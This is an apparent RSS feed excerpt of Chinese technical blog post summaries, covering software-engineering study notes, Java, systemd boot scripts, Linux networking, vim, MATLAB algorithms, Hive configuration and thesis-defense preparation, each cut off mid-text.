系统的描述及信息模型的表示与客观实体相对应，符合人们的思维习惯更好的复用性当前大型信息系统的开发，通常把结构化开发方法和面向对象开发方法结合起来（去找描述的例子，准备论文）面向服务的方法 三个抽象级别：操作、服务、业务流程底层的操作代表单个逻辑单元的事务，类似于对象的方法，第二层的服务代表操作的逻辑分组，最高层的业务流程是为了实现特定业务目标而执行的一组长期运行的动作或活动。接口的定义与实现解耦粗粒度、松散耦合和基于标准的服务 商业智能（BI）&#xA;现代化的业务操作会产生大量数据，怎样从业务数据中提取有用的信息，然后根据这些信息采取明智的行动，就是商业智能的功能。&#xA;BI系统主要包括：&#xA;数据预处理：整合原始数据的第一步，包括ETL三大过程，分别是抽取（extraction）、转换（transformation）和加载（load）。建立数据仓库： 处理海量数据的基础数据分析：体现系统智能的关键，包括两大技术： OALP：进行数据汇总、切片、切块、下钻、上卷和旋转等数据分析功能数据挖掘：目标是挖掘数据背后隐藏的知识，通过关联分析、聚类和分类等方法建立分析模型，预测企业未来发展趋势和将要面临的问题。数据展现：保障系统分析结果的可视化 数据仓库&#xA;面向主题：数据按主题组织集成：消除源数据的不一致，提供整个企业的一致性全局信息相对稳定：主要进行查询，少量的修改和删除反映历史变化：记录企业过去某一时刻到当前各个阶段的信息，可对发展里成和未来趋势做定量分析和预测 数据挖掘&#xA;关联分析：挖掘出隐藏在数据间的相关关系序列模式分析：侧重点是分析数据间的前后关系（因果关系）分类分析：为每一个机理赋予一个标记在按标记分类（监督学习）聚类分析：分类分析法的逆过程。（非监督学习） 供应链管理（SCM）&#xA;理念：强强联合，打通信息孤岛，严格的数据交换标准整合和优化“三流”： 信息流：核心，需求信息流，如：客户订单、生产计划、采购合同等；供应信息流，如：入库单、完工记录等。资金流物流 企业应用集成&#xA;表示集成（界面集成）：把各应用系统的界面集成起来，统一入口，产生整体的感觉数据集成：应用集成和业务流程集成的基础，吧不同来源、格式、特点性质的数据在逻辑上或物理上有机地集中，为企业提供全面的数据共享，ETL、数据仓库、联邦数据库都可以视为数据集成。控制集成（功能集成、应用集成）：业务逻辑层级集成，可以借用过程、方法调用或面向消息的中间件等技术业务流程集成（过程集成）：对各种业务信息的交换进行定义、授权和管理，一遍改进操作、减少成本、提高响应速度。消息集成：适用于数据量小但要求频繁、立即、异步的数据交互场合。共享数据库：实时性强，可以频繁交互，数据的交互属于同步方式文件传输：适用于数据量大、交换频度小、即时性要求低的情况。 项目可行性分析&#xA;经济可行性：项目的底线，主要评估项目的建设成本、运行成本和项目建成后可能的经济收益。技术可行性：也称为技术风险分析，研究的对象是信息系统需要事先的功能和性能，以及技术能力约束，法律可行性（社会可行性）：需要从政策、法律、道德、制度等社会因素来论证信息系统建设的现实性。用户使用可行性（执行可行性）：从信息系统用户的角度来评估系统的可行性，包括企业的行政管理和工作制度、使用人员的素质和培训要求等。 成本效益分析&#xA;固定成本：不受业务量变动的影响而保持固定不变的成本，如房屋租金、固定资产折旧费、员工培训费等变动成本：随业务量的变动而成正比例变动的成本，如直接材料费、产品包装费、外包费用、开发奖金等。混合成本：混合了固定成本和变动成本性质的成本，如水电费、电话费等，通常有一个基数，超过这个基数就会碎业务量的增大而增大。直接成本：直接投入在项目上间接成本：分摊到项目上沉没成本：已经支出的成本，对于未来的决策而言，无论项目是否继续，成本都已花掉，收不回来了。 信息系统生命周期&#xA;系统规划：初步调查、分析系统目标，产物： 系统设计任务书系统分析：业务流程分析、数据与数据流程分析、软件需求分析、网络需求分析，产物： 系统需求规格说明书软件需求规格说明书系统测试计划系统设计：软件架构设计、概要设计、详细设计、网络设计，产物： 架构设计文档概要设计说明书详细设计说明书详细测试计划系统实施：软件编码、软件单元/集成/系统测试、综合布线，产物： 源码单元测试、集成测试报告操作手册系统验收：确认测试、试运行，产物： 确认测试报告项目验收报告 软件开发模型&#xA;瀑布模型：结构化方法，适用于需求很明确的情况，软件开发的各项活动严格按照线性方式进行，每个阶段都有文档产出。演化模型 针对事先不能完整定义需求的软件开发。用户可以给出待开发系统的核心需求，并且当看到核心需求实现后，能够有效地提出反馈，以支持系统的最终设计和实现第一次迭代(需求-&amp;gt;设计-&amp;gt;实现-&amp;gt;测试-&amp;gt;集成) -&amp;gt; 反馈 -&amp;gt; 第二次迭代(需求-&amp;gt;设计-&amp;gt;实现-&amp;gt;测试-&amp;gt;集成) -&amp;gt; 反馈-&amp;gt; ……重复执行的多个“瀑布模型”。增量模型 各个阶段并不交付一个可运行的完整产品，而是交付满足客户需求的一个子集的可运行产品，然后不断增加新的模块。第一个增量往往是实现基本需求的核心产品。螺旋模型： 以原型为基础，配合瀑布模型，同时用到迭代思想考虑了风险特别适合于大型复杂的系统快速原型模型 针对需求不明确的情况关键在于尽可能快速地建造出软件原型，一旦确定了客户的真正需求，所建造的原型将被丢弃无完整的需求说明，只有一些基本要求喷泉模型 面向对象具有更多的增量和迭代性质项目的整个生存期中还可以嵌入子生存期，就像水喷上去又可以落下来，可以落在中间，也可以落在最底部V模型 强调测试贯穿始终，尽早测试包含了底层测试（单元测试）和高层测试（系统测试）自上而下逐步求精，每个阶段分工明确，便于整体项目的把控 敏捷方法&#xA;思想：给开发人员减负，加强沟通，适用于小项目&#xA;自适应方法水晶方法：探索用最少纪律约束而仍能成功的方法特性驱动开发（FDD）：开发人员分成两类：首席程序员和“类”程序员，首席程序员经验丰富，是项目的协调者、设计者和指导者，“类”程序员主要做源码的编写SCRUM：明确定义了可重复的方法过程只限于在明确定义了的可重复环境中极限编程（XP） 4大价值观&#xA;沟通简单反馈勇气 5大原则&#xA;快速反馈简单性假设逐步修改提倡更改优质工作 12大最佳实践&#xA;计划游戏；2. 结对编程；3. 小型发布；4. 案例代码所有制； 5.</description>
    </item>
    <item>
      <title>如何用栈实现队列</title>
      <link>https://bchobby.github.io/posts/5f3adca4277d8e1737bbcb68feb9fd81/</link>
      <pubDate>Thu, 12 May 2022 23:57:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f3adca4277d8e1737bbcb68feb9fd81/</guid>
      <description>队列遵循先进先出（FIFO）原则，栈遵循后进先出（LIFO）原则。如果用栈来实现队列则需要用俩个栈来模拟队列进而实现队列的先进先出（FIFO）原则。步骤如下:&#xA;（1）创建俩个栈一个进行入栈操作Stack&amp;lt;E&amp;gt; in，一个进行出栈操作Stack&amp;lt;E&amp;gt; out&#xA;（2）队列的特点为先进先出所以要求栈in进，栈out出&#xA;（3）入队时要保证栈out为空，所以先判断栈out是否为空，若不为空则将栈out中的元素全部存入栈in中 in.push(out.pop())&#xA;（4）出队时要保证栈in为空，所以先判断栈in是否为空，若不为空则将栈in中的元素全部存入栈out中 out.push(in.pop())&#xA;代码实现：&#xA;import java.util.Stack; public class Test01 { public static void main(String[] args) { MyQueue&amp;lt;String&amp;gt; queue=new MyQueue(); queue.offer(&#34;A1&#34;); queue.offer(&#34;A2&#34;); queue.offer(&#34;A3&#34;); queue.offer(&#34;A4&#34;); System.out.println(queue.poll()+&#34;出队&#34;); } } //栈模拟队列 class MyQueue&amp;lt;E&amp;gt;{ private Stack&amp;lt;E&amp;gt; in =new Stack&amp;lt;E&amp;gt;(); private Stack&amp;lt;E&amp;gt; out =new Stack&amp;lt;E&amp;gt;(); //入队 public void offer(E e) { while(!out.isEmpty()) { in.push(out.pop()); } in.push(e); } public boolean isEmpty() { return in.size()==0&amp;amp;&amp;amp;out.size()==0; } //出队 public E poll() { while(!</description>
    </item>
    <item>
      <title>linux systemctl命令添加开机启动脚本</title>
      <link>https://bchobby.github.io/posts/b88b75debdbe4ffe6a6a2dc3b4ca0c25/</link>
      <pubDate>Thu, 12 May 2022 20:17:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b88b75debdbe4ffe6a6a2dc3b4ca0c25/</guid>
      <description>linux systemctl命令添加开机启动脚本&#xA;我想开机自动运行 sudo chmod 777 /dev/ttyTHS1命令来启动串口&#xA;systemctl命令添加开机启动可以直接写命令，也可以写脚本,我这里主要写个脚本&#xA;//首先使用sudo 命令创建一个.sh文件 $ vim openttyTHS1.sh 下面是写在.sh文件中的脚本命令,#!/bin/bash 是写.sh脚本必须添加的，否则会报错&#xA;一定要在linux下创建.sh文件！！！！&#xA;#!/bin/bash sudo chmod 777 /dev/ttyTHS1 然后赋予脚本执行权限&#xA;$ chmod +x openttyTHS1.sh 接下来要到**/etc/systemd/system/** 创建systemctl文件，后缀为.service&#xA;//首先使用sudo 命令创建一个.service文件 $ vim openttyTHS1.service [Unit] Description=JetBot start service After=multi-user.target [Service] Type=oneshot User=root ExecStart=/usr/bin/openttyTHS1.sh WorkingDirectory=/home/jetbot [Install] WantedBy=multi-user.target ~ 一定要注意User=root否则会报sudo以后没有密码之类的错误&#xA;然后命令&#xA;sudo systemctl enable openttyTHS1 sudo systemctl start openttyTHS1 这样就完成开机启动了，可以重启试试 如果需要查看已有的服务，可以使用:&#xA;sudo systemctl list-units&#xA;如果有些服务文件，虽然已经在服务文件的目录下，但是它不是热生效的，即不是说咱们把它放进去就能被识别、注册、启动的。它没有被 systemctl 的 start 或 enable 命令登记到Systemd，如果你需要的话，得自己做这个操作。&#xA;如果想查看没被激活的服务文件怎么办呢？</description>
    </item>
    <item>
      <title>Keil界面优化</title>
      <link>https://bchobby.github.io/posts/2bfae88e9214a275ee011ec7af783194/</link>
      <pubDate>Thu, 12 May 2022 17:53:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2bfae88e9214a275ee011ec7af783194/</guid>
      <description>1.解决模糊(修改DPI) 未处理前，十分模糊&#xA;按以下操作：&#xA;找到keil-&amp;gt;右键属性-&amp;gt;兼容性-&amp;gt;高DPI缩放替代打钩&#xA;操作完成后的keil界面：&#xA;2.黑色背景: 找到global.prop文件: 先将原文件保存,防止以后想换回:原文件: # properties for all file types indent.automatic=1 virtual.space=0 view.whitespace=0 view.endofline=0 code.page=936 caretline.visible=1 highlight.matchingbraces=1 print.syntax.coloring=1 use.tab.color=1 create.backup.files=0 auto.load.ext.modfiles=0 save.prj.before.dbg=0 save.files.before.dbg=0 function.scanner.project=1 function.scanner.files=1 function.scanner.modules=1 # properties for c/cpp files syntax.colouring.cpp=1 use.tab.cpp=0 tabsize.cpp=2 line.margin.visible.cpp=1 fold.cpp=1 monospaced.font.cpp=1 # properties for asm files syntax.colouring.asm=1 use.tab.asm=0 tabsize.asm=4 line.margin.visible.asm=1 monospaced.font.asm=1 # properties for other files use.tabs=0 tabsize=4 line.margin.visible.txt=0 monospaced.font.txt=1 # setting for code completion and syntax check cc.autolist=1 cc.</description>
    </item>
    <item>
      <title>select和poll的区别</title>
      <link>https://bchobby.github.io/posts/52f39466bda821c4e2d7b455416da259/</link>
      <pubDate>Thu, 12 May 2022 16:07:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52f39466bda821c4e2d7b455416da259/</guid>
      <description>基础的网络编程模型中，套接字通常都是阻塞的，比如服务端listen阻塞等待客户端来连接，建立连接后，recv阻塞等待接收数据。而如果在等待接收数据的过程中，又有新的客户端连接，这时服务端无能为力，因为服务端还在阻塞等待接收上一个客户端的数据。有一种做法是将套接字设置为非阻塞的，调用即返回，不管套接字是否准备好（是否有数据可读/写），但这就需要不断轮询调用函数（因为服务端也不知道什么时候会来数据）如果客户端一直没有响应，服务端的轮询就会占用大量的CPU资源，效率低下。而另一种方法是采用IO复用：&#xA;这样的进程需要一种预先告知内核的能力，使得内核一旦发现进程指定的一个或多个I/O条件就绪 （也就是说输入已准备好被读取，或者描述符已能承接更多的输出），它就通知进程。这个能力称为I/O复用。 在Linux中IO复用有select、poll和epoll，epoll较前两种区别较大，下一篇总结。&#xA;它们都有这样的能力：同时监听多个文件描述符。&#xA;需要指出的是，I/O复用虽然能同时监听多个文件描述符，但它本身是阻塞的。并且当多个文件描述符同时就绪时，如果不采取额外的措施，程序就只能按顺序依次处理其中的每一个文件描述符，这使得服务器程序看起来像是串行工作的。如果要实现并发，只能使用多进程或多线程等编程手段。&#xA;select&#xA;先来看一下函数原型：&#xA;#include &amp;lt;sys/select.h&amp;gt; int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); 从后往前：timeout参数用来指定超时时间，和其他函数中设置超时时间的含义一样，select本身是阻塞的，如果设置了超时时间，不管监听的文件描述符是否就绪都会返回。再往前三个fd_set *类型的参数，分别指向可读、可写和异常等事件对应的文件描述符集合，我们在调用select时，通过这三个参数分类传入需要被监听的文件描述符集合。nfds是所有被select监听的文件描述符中的最大值加1，注意不是描述符个数加1，而是描述符最大值加1。&#xA;更详细的，timeout是一个结构体，包含秒数和微秒数：&#xA;struct timeval { long tv_sec;//秒数 long tv_usec;//微秒数 }; 有些系统会修改该值，把值修改成剩余的时间。比如，超时设置是5秒，在文件描述符可用之前逝去了3秒，那么在调用返回时，tv_sec的值就变为了2。有一些系统则不改变该值，因此，为了方便移植，我们在每次调用select时最好重新设置该值。更进一步，我们还可以用select的定时，来替代sleep()，只需要将前几个参数都设置为零和空，并设置超时时间：&#xA;struct timeval tv; tv.tv_sec = 0; tv.tv_usec = 500; select(0, NULL, NULL, NULL, &amp;amp;tv); 例：&#xA;#include &amp;lt;sys/select.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; int main() { struct timeval tv; tv.tv_sec = 5; tv.tv_usec = 0; select(0, NULL, NULL, NULL, &amp;amp;tv); printf(&#34;</description>
    </item>
    <item>
      <title>asn1c中使用双重指针来实现asn中的sequence和set</title>
      <link>https://bchobby.github.io/posts/e81c87853bc55a44b4861937132dc288/</link>
      <pubDate>Thu, 12 May 2022 15:38:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e81c87853bc55a44b4861937132dc288/</guid>
      <description>按照asn.1的定义，sequence和set是一系列数据的集合。在实际使用中，可能就是某一个结构体的集合。&#xA;sequence和set分为各个元素相同以及每个元素不相同。在asn1c中，当每个元素相同时，定义为SEQUENCE_OF，当每个元素有不相同时，定义为SEQUENCE，&#xA;在asn1c中，将sequence通过动态数组来实现。当添加元素时，会判断当前是否需要扩展内存，如果需要扩展，就扩展之前一倍的内存。&#xA;数据结构描述 sequence of的结构体定义：&#xA;#define&#x9;A_SEQUENCE_OF(type)&#x9;A_SET_OF(type) #define A_SET_OF(type) \ struct { \ type **array; \ int count; /* Meaningful size */ \ int size; /* Allocated size */ \ void (*free)(type *); \ } 可以看到，sequence of相当于set of，set of中的type是通过宏的参数设置进来的，实际使用时应该将type参数设置为数据结构的类型。结构体中有一个双重指针array，这个双重指针是本篇文章要重点介绍的对象。通过下一小节【想数组中添加元素】可以更好的理解这里为什么是一个双重指针。&#xA;向数组中添加元素 #define&#x9;ASN_SEQUENCE_ADD(headptr, ptr) asn_sequence_add((headptr), (ptr)) /* * Add another element into the set. */ int asn_set_add(void *asn_set_of_x, void *ptr) { asn_anonymous_set_ *as = _A_SET_FROM_VOID(asn_set_of_x); if(as == 0 || ptr == 0) { errno = EINVAL;&#x9;/* Invalid arguments */ return -1; } /* * Make sure there&#39;s enough space to insert an element.</description>
    </item>
    <item>
      <title>Hive MetaStore 启动配置</title>
      <link>https://bchobby.github.io/posts/706b6222e2113b23a1f580e419ad101d/</link>
      <pubDate>Thu, 12 May 2022 15:15:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/706b6222e2113b23a1f580e419ad101d/</guid>
      <description> 1.MetaStore介绍 Hive可以启动一个叫做MetaStore的服务，该服务在Hive的客户端启动，用户通过客户端连接到MetaStore，然后和一个数据库（例如：Mysql）进行通信。该数据库是用于存储Hive的元数据信息。&#xA;2.MetaStore配置 需要修改hive-site.xml配置文件，配置端口&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.metastore.port&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;9083&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt;Hive metastore listener port&amp;lt;/description&amp;gt; &amp;lt;/property&amp;gt; 3.MetaStore启停 hive --service metastore -p 9083 &amp;amp; 使用netstat或者ps查看metastore服务是否起来&#xA;netstat -anp|grep 9083 ps -ef | grep metastore </description>
    </item>
    <item>
      <title>vim里tab的替换</title>
      <link>https://bchobby.github.io/posts/a4282abba063e51207955e20648adb18/</link>
      <pubDate>Thu, 12 May 2022 14:49:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4282abba063e51207955e20648adb18/</guid>
      <description>1. 自动展开tab为4个空格 在vimrc里添加以下两行：&#xA;:set tabstop=4 :set expandtab 或者用缩写格式：&#xA;:set ts=4 :set et 2. 编辑文件，替换现有的tab为空格 命令模式下执行：&#xA;:set ts=4 :set expandtab :%retab! 3. 编辑文件，替换空格为tab 命令模式下执行：&#xA;:set ts=4 :set noexpandtab :%retab! 说明： !是用于处理非空白字符之后的TAB，即所有的TAB，若不加!，则只处理行首的TAB</description>
    </item>
    <item>
      <title>Floyd算法（matlab实现）</title>
      <link>https://bchobby.github.io/posts/9a28faf3597f49f3a5bedfd52d86baed/</link>
      <pubDate>Thu, 12 May 2022 11:22:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a28faf3597f49f3a5bedfd52d86baed/</guid>
      <description> Floyd算法 Folyd算法主要是解决每对顶点之间的最短路径&#xA;从直观上进行分析，从任意顶点 V i V_i Vi​到任意顶点 V j V_j Vj​的最短路径有两种情况。&#xA;从 V i V_i Vi​直接到 V j V_j Vj​的距离就是最短路径。从 V i V_i Vi​经过若干个顶点到 V j V_j Vj​的距离是最短路径。 function [dist,mypath]=myfloyd(a,sb,db); %输入：a——邻接矩阵；元素a(i,j)——顶点i到j之间的直达距离，可以是有向的。 %sb——起点的标号；db——终点的标号； %输出：dist——最短路的距离；mypath——最短路的路径 n=size(a,1);path=zeros(n); for k=1:n for i=1:n for j=1:n if a(i,j)&amp;gt;a(i,k)+a(k,j) a(i,j)=a(i,k)+a(k,j); path(i,j)=k; end end end end dist=a(sb,db); parent=path(sb,:);%从起点sb到终点db的最短路上各顶点的前驱顶点 parent(parent==0)=sb;%path中的分量为0，表示该顶点的前驱是起点 mypath=db;t=db; while t~=sb p=parent(t);mypath=[p,mypath]; t=p; end </description>
    </item>
    <item>
      <title>MATLAB实例：PCA（主成成分分析）详解</title>
      <link>https://bchobby.github.io/posts/d9b3f82616180b71875d7be8a2b7f0ad/</link>
      <pubDate>Thu, 12 May 2022 10:33:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9b3f82616180b71875d7be8a2b7f0ad/</guid>
      <description>发现一篇非常实用的pca matlab程序学习文章，包括对matlab自带的pca函数的解释说明，转载链接放到文末。另外整理了涉及到的一些其他内容一并放入文中&#xA;1. 主成成分分析 对于数学原理，可参见：CodingLabs - PCA的数学原理&#xA;本文不再赘述 2. MATLAB解释&#xA;详细信息请看：Principal component analysis of raw data - mathworks&#xA;[coeff,score,latent,tsquared,explained,mu] = pca(X)&#xA;coeff = pca(X) returns the principal component coefficients, also known as loadings, for the n-by-p data matrix X. Rows of X correspond to observations and columns correspond to variables.&#xA;The coefficient matrix is p-by-p.&#xA;Each column of coeff contains coefficients for one principal component, and the columns are in descending order of component variance.</description>
    </item>
    <item>
      <title>linux 增加静态路由命令</title>
      <link>https://bchobby.github.io/posts/3daeb7cdd45763f60565f30dfa1fa32c/</link>
      <pubDate>Thu, 12 May 2022 09:53:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3daeb7cdd45763f60565f30dfa1fa32c/</guid>
      <description>linux 临时修改路由： 方法一：&#xA;添加路由&#xA;route add -net 192.168.2.0/24 gw 192.168.1.1 或 route add -host 192.168.2.8 dev 192.168.1.1 删除路由&#xA;route del -net 192.168.0.0/24 gw 192.168.0.1 add 增加路由&#xA;del 删除路由&#xA;-net 设置到某个网段的路由&#xA;-host 设置到某台主机的路由&#xA;gw 出口网关 IP地址&#xA;dev 出口网关 物理设备名&#xA;增加默认路由&#xA;route add default gw 192.168.3.1 查看路由表&#xA;route -n 方法二：&#xA;添加路由&#xA;ip route add 192.168.0.0/24 via 192.168.0.1 或 ip route add 192.168.1.1 dev 192.168.0.1 删除路由&#xA;ip route del 192.168.0.0/24 via 192.168.0.1 add 增加路由</description>
    </item>
    <item>
      <title>论文阅读笔记之AGE:由图信号引发的一系列问题</title>
      <link>https://bchobby.github.io/posts/3d7d024a7657412beebda0fab8d994b2/</link>
      <pubDate>Thu, 12 May 2022 09:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d7d024a7657412beebda0fab8d994b2/</guid>
      <description>导航栏&#xA;什么是图信号——&amp;gt;什么是节点——&amp;gt;什么是节点维度——&amp;gt;什么是shape——&amp;gt;list、Array、Series——&amp;gt;降维——&amp;gt;方差公式中为什么除数是(n-1)&#xA;一、什么是图信号 问题来源：https://blog.csdn.net/qq_44015059/article/details/114977767）&#xA;图信号（Graph signal） 图信号x:V➡R是一个定义于图顶点集的映射。我们也可以将其表示为一个向量 x ∈ R n x∈R^{n} x∈Rn ，其中 x i x_i xi​表示第i个顶点的信号值。&#xA;邻接矩阵、度矩阵、拉普拉斯矩阵这三种矩阵表述根据不同的需要，可以十分有力的表达图的结构。但表达的也仅仅是图的结构，就好比是设计好了一栋连接错综复杂的大楼，每一个节点还等着我们去赋值。给定任意一个无向图的邻接矩阵A，假定节点数为N，则任意的长度为N的信号都可以作为这个无向图的图信号，其各个位置的值代表对应节点的值。&#xA;关于图信号的原文链接：&#xA;（1）https://zhuanlan.zhihu.com/p/415756783&#xA;（2）https://blog.csdn.net/m0_38002423/article/details/90758200&#xA;二、什么是节点 问题来源：https://blog.csdn.net/m0_38002423/article/details/90758200&#xA;如下图，图中圆圆的点就是节点。&#xA;参考链接：&#xA;（1）https://blog.csdn.net/weixin_41929524/article/details/121736848&#xA;（2）https://blog.csdn.net/weixin_41929524/article/details/121198344&#xA;三、什么是节点维度 问题来源：https://blog.csdn.net/m0_38002423/article/details/90758200&#xA;1. 对于数组和Series来说 对于数组和Series来说，维度就是功能shape返回的结果，shape中返回了几个数字，就是几维。索引以外的数据，不分行列的叫一维（此时shape返回唯一的维度上的数据个数），有行列之分叫二维（shape返回行x列），也称为表。一张表最多二维，复数的表构成了更高的维度。当一个数组中存在2张3行4列的表时，shape返回的是(更高维，行，列)。当数组中存在2组2张3行4列的表时，数据就是4维，shape返回(2,2,3,4)。&#xA;数组中的每一张表，都可以是一个特征矩阵或一个DataFrame，这些结构永远只有一张表，所以一定有行列，其中行是样本，列是特征。针对每一张表，维度指的是样本的数量或特征的数量，一般无特别说明，指的都是特征的数量。除了索引之外，一个特征是一维，两个特征是二维，n个特征是n维。&#xA;2. 对于图像来说 对图像来说，维度就是图像中特征向量的数量。特征向量可以理解为是坐标轴，一个特征向量定义一条直线，是一维，两个相互垂直的特征向量定义一个平面，即一个直角坐标系，就是二维，三个相互垂直的特征向量定义一个空间，即一个立体直角坐标系，就是三维。三个以上的特征向量相互垂直，定义人眼无法看见，也无法想象的高维空间。&#xA;3. 降维算法中的“降维” 降维算法中的”降维“，指的是降低特征矩阵中特征的数量。上周的课中我们说过，降维的目的是为了让算法运算更快，效果更好，但其实还有另一种需求：数据可视化。从上面的图我们其实可以看得出，图像和特征矩阵的维度是可以相互对应的，即一个特征对应一个特征向量，对应一条坐标轴。所以，三维及以下的特征矩阵，是可以被可视化的，这可以帮助我们很快地理解数据的分布，而三维以上特征矩阵的则不能被可视化，数据的性质也就比较难理解。&#xA;4.总结 （1）对于数组和Series来说，维度就是功能shape返回的结果，shape中返回了几个数字，就是几维。&#xA;（2）针对每一张表，维度指的是样本的数量或特征的数量，一般无特别说明，指的都是特征的数&#xA;量。&#xA;（3）对图像来说，维度就是图像中特征向量的数量。特征向量可以理解为是坐标轴。&#xA;参考链接：&#xA;（1）https://zhuanlan.zhihu.com/p/59357783&#xA;（2）https://blog.csdn.net/weixin_44376037/article/details/122245411&#xA;四、什么是shape 问题来源：https://zhuanlan.zhihu.com/p/59357783&#xA;1.Python里对于shape()的理解 学习相关代码的时候，很容易出现shape()这样形式的东西，用来告知输出数据的形式，由于shape（）里出现的数字数量不同，还经常有shape（？，64，512）这样的数据存在，因此上网查了一些信息，作出比较通俗易懂的解释：&#xA;import numpy as np a = np.array([[[1,2,3],[4,5,6]]]) print(a.shape) (1, 2, 3) 表示该数组有1个，是2行3列的数组。每一个shape里的数字对应数组中的一对中括号，第一个数字1表示最外层的中括号。以此类推，数字2表示第二层中括号，数字3表示最里层的中括号。如果定义array时去掉了最外层的括号那么输出的shape为(2, 3)。&#xA;2.区分一维数组和二维数组 有几层中括号就为几维数组，即shape后的结果中就有几个数。&#xA;因此在上文中，有三对中括号，是3维数组，shape（）中有3个数。&#xA;a = np.</description>
    </item>
    <item>
      <title>本科论文常见答辩问题整理</title>
      <link>https://bchobby.github.io/posts/2f98b71ffc7fb3df9f42ae9570289487/</link>
      <pubDate>Wed, 11 May 2022 22:45:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f98b71ffc7fb3df9f42ae9570289487/</guid>
      <description>这里写目录标题 专业性问题你系统的整体设计是怎么样？用了什么技术？这些技术应用的好处是什么？框架，SSM，SSH这些有什么优势。前端，前端用了什么；你数据库整体的设计是怎么样的，某个表，某个字段作用是什么？MySQL，为什么用MySQL；有几个表；三范式；主键这些基础。数据库链接方式，数据库设计中的ER图、范式等。你系统核心功能怎么实现？业务，功能模块，老师对某个模块需要详细了解，问你是怎么做的，其实就是你的代码实现逻辑；功能怎么实现的。流程图，讲一下有角色的功能区别。一些软件工程，数据库的基础知识，比如时序图，ER图，范式之类的。前后端交互用什么；ajax等等软件测试Java基础，三大特性，有接口吗，类是什么，封装了什么。 一般性问题：（读懂论文基本可以自己回答）1、为什么选择这个课题（或题目）？2、研究这个课题的意义和目的是什么？3、全文的基本框架、基本结构是如何安排的？4、论文和系统有哪些不足之处？5、你的工作未来有什么应用前景? 后端技术方案SSH框架SSM框架SpringbootSpringSpringMVCmybatisJSP前端MD5密码加密MySQLHikari 连接池数据库连接池概述：HikariCP概述HikariCP特点 Log4JMVC设计模式MVC如何在你的程序中运用实现MVC优缺点: B/S架构 前端技术方案CSSJavaScriptJqueryVUEBootStrap 前后端交互ajax 需求分析问题需求分析的主要内容流程图用例图活动图 mysql数据库问题E-R图的目的和作用主键与外键数据库事务数据库三范式第一范式第二范式第三范式（3NF）总结几个重要的概念: 功能性问题分页功能如何实现页面传值的方法Session是什么定向与转发1.请求转发（forward）:2.重定向（Redirect）: Java的三大特性：封装、继承、多态封装 继承多态接口类 测试测试什么？白盒测试和黑盒测试 答辩过程中，老师问的问题一般都和你的设计有关，下面总结了一下常见的提问的问题给大家：&#xA;框架，SSM，SSH这些有什么优势。&#xA;前端，前端用了什么；无非就是CSS、HTML这些&#xA;MySQL，为什么用MySQL；有几个表；三范式；主键这些基础。数据库链接方式，数据库设计中的ER图、范式等。&#xA;前后端交互用什么；ajax等等&#xA;测试过吗，怎么测试的。&#xA;流程图，讲一下有角色的功能区别。&#xA;Java基础，三大特性，有接口吗，类是什么，封装了什么。&#xA;一般都是框架和业务各问一个，如果你解释的不清楚，老师可能会追问。&#xA;专业性问题 你系统的整体设计是怎么样？用了什么技术？这些技术应用的好处是什么？框架，SSM，SSH这些有什么优势。前端，前端用了什么； 参考下面技术整理&#xA;你数据库整体的设计是怎么样的，某个表，某个字段作用是什么？MySQL，为什么用MySQL；有几个表；三范式；主键这些基础。数据库链接方式，数据库设计中的ER图、范式等。 你系统核心功能怎么实现？业务，功能模块，老师对某个模块需要详细了解，问你是怎么做的，其实就是你的代码实现逻辑；功能怎么实现的。流程图，讲一下有角色的功能区别。 （比如说购物系统，核心功能就在于整个购物的流程，这个就是系统的核心，老师也一般会对这些地方进行发问），当然也会随机问你某个模块怎么实现，所以自己必须要对自己的系统业务功能，实现的逻辑，数据库表十分熟悉。&#xA;一些软件工程，数据库的基础知识，比如时序图，ER图，范式之类的。 前后端交互用什么；ajax等等 软件测试 Java基础，三大特性，有接口吗，类是什么，封装了什么。 一般性问题：（读懂论文基本可以自己回答） 1、为什么选择这个课题（或题目）？ 首先从主观入手，可从当前该课题对应的社会大致情况来简要分析，其次可以结合自己的经历来分析（xxx时对该课题有了更深的社会认识，发现了一些问题等），最后，可以说是与指导老师进行深入沟通交流后选择该课题。&#xA;2、研究这个课题的意义和目的是什么？ 这一问题一般在开题中就有提及，正文中也有相关小节说明，只需要对其加以总结提炼即可，需要注意的是，一定要逻辑清楚，条理分明，不可想到哪儿说到哪儿，东拼西凑会给考核老师留下不好的印象。&#xA;说明这个课题的历史和现状，即前人做过哪些研究，自己有什么新的看法…&#xA;对应开题的文献综述部分。&#xA;例如：在xx这个问题上前人的经验十分丰富，我的工作是通过收集前人答辩数据，总结规律，对xx进行xx，创新性地实现了xx的丰富性，&#xA;从而使得xxx大大提高，对xxxx的提高有着极强的推动作用。&#xA;3、全文的基本框架、基本结构是如何安排的？ 该问题的回答并非是让您将论文大纲讲述一遍，而是对整个文章的一个综合说明，比如：全文按照“总–分–总”的结构展开论述，开头从总体上论述XXXX的特点等大背景，之后“提出XXXXX问题”,再根据问题提出XXXXX对策，最后是总结陈述，各部分相互间存在逻辑联系，相互配合，成为整体的有机组成部分（该结构是最为常见的结构，您需要依照自身文章实际情况做具体分析）&#xA;eg:&#xA;本课题对xxx进行了社会、市场背景的了解，通过对前人的文献调查和总结规划了本系统的需求，针对需求进行需求分析设计了UML图、流程图等规划系统模板，根据分析结果进行了系统设计，包括数据库设计、详细功能设计、架构设计等，最后根据设计实现系统并进行了测试。&#xA;4、论文和系统有哪些不足之处？ 提出一些不足之处，再提出日后完善的展望即可。&#xA;第一，XXXXX;第二，XXXXX.（可以说“由于对计算机专业知识学习欠缺，在研究过程中XXX部分还有待进一步深入研究”等）&#xA;5、你的工作未来有什么应用前景? 